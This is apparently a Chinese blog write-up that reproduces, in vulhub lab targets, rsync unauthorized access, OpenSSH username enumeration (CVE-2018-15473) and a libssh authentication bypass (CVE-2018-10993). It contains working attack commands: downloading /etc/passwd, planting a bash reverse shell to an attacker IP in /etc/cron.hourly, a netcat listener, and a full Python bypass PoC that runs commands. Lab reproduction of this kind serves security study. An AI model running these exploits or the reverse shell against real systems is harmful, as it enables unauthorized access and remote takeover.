• 服务安全-应用协议rsync未授权&ssh漏洞复现


    服务攻防-应用协议rsync&ssh漏洞复现

    漏洞复现

    配置不当-未授权访问-rsync文件备份

    rsync默认端口:873

    rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件 传输。

    其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配 置ACL或访问密码,我们将可以读写目标服务器文件。

    靶场:vulhub

    或vulfocus

    参考:rsync未授权访问

    image-20231016163707397

    开启环境:

    image-20231016165531966

    环境启动后,我们用rsync命令访问:

    rsync rsync://your-ip:873/
    //靶场映射了端口
    rsync rsync://192.168.100.134:43983
    
    • 1
    • 2
    • 3

    可以查看模块名列表:

    image-20231016165700612

    访问列表:

    rsync rsync://your-ip:873/src/
    rsync rsync://192.168.100.134:43983/src
    
    • 1
    • 2

    image-20231016165847772

    发现这是一个Linux根目录,我们可以下载任意文件:

    rsync -av rsync://your-ip:873/src/etc/passwd ./
    rsync rsync://192.168.100.134:43983/src/etc/passwd ./
    
    • 1
    • 2

    image-20231016170132298

    还可以尝试上传:

    将passwd文件上传到/src目录下
    rsync ./passwd rsync://192.168.100.134:43983/src 
    
    查看验证:
    rsync rsync://192.168.100.134:43983/src 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20231016170516659

    由于靶场时间原因,重启靶场,继续实验:

    可反弹shell:

    //下载crond文件
    rsync -av  rsync://192.168.100.134:39525/src/etc/crontab  ./
    
    • 1
    • 2

    image-20231016173036022

    点击查看:

    image-20231016171902121

    注意该行语句的含义:

    表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

    17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
    
    • 1

    创建一个shell文件并写入反弹shell命令:

    #!/bin/bash 
    /bin/bash -i >& /dev/tcp/192.168.100.146/6666 0>&1
    
    • 1
    • 2

    image-20231016172118533

    赋予执行权限:

    chmod +x shell
    
    • 1

    将写好的shell文件上传至/etc/cron.hourly

    rsync -av shell rsync://192.168.100.134:39525/src/etc/cron.hourly
    
    • 1

    image-20231016173103285

    本地监听:

    nc -lvvp 6666
    
    • 1

    等待反弹即可。

    OpenSSH 用户名枚举漏洞

    参考:CVE-2018-15473

    OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。

    image-20231016175700267

    开启环境:

    image-20231016175735642

    环境启动后,我们在客户端执行

    ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p 20022,输入密码vulhub,即可登录到容器中。

    image-20231016175846271

    可直接使用exp进行利用:

    exp链接:CVE-2018-15473-Exploit

    python sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip
    
    • 1

    方法二:

    还可以使用msf进行验证测试:

    msfconsole	//开启msf
    search ssh	//搜索
    use 53
    set rhosts 192.168.100.134
    set rport 20022
    set user_file "字典路径"
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20231016180630536

    配置详细信息:

    image-20231016180703320

    执行:

    image-20231016180732669

    执行发现,rootexamplevulhubnobody等用户是存在的用户。

    libssh身份验证绕过漏洞

    参考:libssh 服务端权限认证绕过漏洞

    libssh是一个在客户端和服务器端实现SSHv2协议的多平台C库。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以在认证成功之前发送MSG_USERAUTH_SUCCESS消息。它可以绕过身份验证并访问目标SSH服务器。

    开启靶场环境:

    image-20231016174551110

    环境启动后,我们可以连接your-ip:2222端口(账号密码:myuser:mypassword

    image-20231016174656312

    利用:

    参考:CVE-2018-10993

    根据参考,可直接利用poc:

    #!/usr/bin/env python3
    import sys
    import paramiko
    import socket
    import logging
    
    logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
    bufsize = 2048
    
    
    def execute(hostname, port, command):
        sock = socket.socket()
        try:
            sock.connect((hostname, int(port)))
    
            message = paramiko.message.Message()
            transport = paramiko.transport.Transport(sock)
            transport.start_client()
    
            message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
            transport._send_message(message)
    
            client = transport.open_session(timeout=10)
            client.exec_command(command)
    
            # stdin = client.makefile("wb", bufsize)
            stdout = client.makefile("rb", bufsize)
            stderr = client.makefile_stderr("rb", bufsize)
    
            output = stdout.read()
            error = stderr.read()
    
            stdout.close()
            stderr.close()
    
            return (output+error).decode()
        except paramiko.SSHException as e:
            logging.exception(e)
            logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
        except socket.error:
            logging.debug("Unable to connect.")
    
        return None
    
    
    if __name__ == '__main__':
        print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

    执行验证:

    python libssh_poc.py 192.168.100.134 2222 "id"
    python libssh_poc.py 192.168.100.134 2222 "whoami"
    python libssh_poc.py 192.168.100.134 2222 "touch /123.txt"
    python libssh_poc.py 192.168.100.134 2222 "ls /"
    
    • 1
    • 2
    • 3
    • 4

    image-20231016175010299

    image-20231016175031664

    成功创建:

    image-20231016175139418

  • 相关阅读:
    秒杀系统的思考
    1024——HelloWorld
    前端常用的 59 个工具类【持续更新】
    [MySQL]DQL,Data Query Language(数据查询语言)
    MySQL怎么实现主从复制
    自学Python 51 多线程开发(一)threading模块
    计算机毕业设计之java+ssm新冠肺炎疫苗接种管理系统
    前端之使用webpack打包TS
    深入了解汽车级功率MOSFET NVMFS2D3P04M8LT1G P沟道数据表
    Leetcode46. Permutations | 模拟 | 递归 | 记忆化搜索
  • 原文地址:https://blog.csdn.net/rumil/article/details/133864349